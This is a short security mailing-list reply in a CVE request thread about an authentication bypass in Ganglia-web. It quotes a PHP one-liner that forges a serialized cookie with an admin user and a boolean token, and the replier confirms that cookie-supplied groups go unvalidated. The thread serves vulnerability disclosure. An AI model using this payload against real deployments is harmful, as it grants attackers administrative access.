Date: Mon, 7 Sep 2015 13:30:02 +0200 From: Raphael Geissert <geissert@...ian.org> To: Open Source Security <oss-security@...ts.openwall.com> Subject: Re: CVE request: Ganglia-web auth bypass On 4 September 2015 at 19:34, Ivan Novikov <in@...larm.com> wrote: > Reported by GitHub: > https://github.com/ganglia/ganglia-web/issues/267 > > It's easy to bypass auth by using boolean serialization like this: > $ php -r "echo urlencode(serialize(array('user'=>'admin', > 'group'=>'admin', 'token'=>true)));" Oh, indeed. I missed that back when I wrote . Do you know if the groups feature is used nowadays? my comment regarding it not being validated (i.e. taking whatever is in the cookie) appears to still hold true.  http://mid.gmane.org/CAA7hUgHW=VwfsffPfFxvhZ=fS5fPf=79jZ-tdsCkZJgEfEksjA@...l.gmail.com Cheers, -- Raphael Geissert - Debian Developer www.debian.org - get.debian.net
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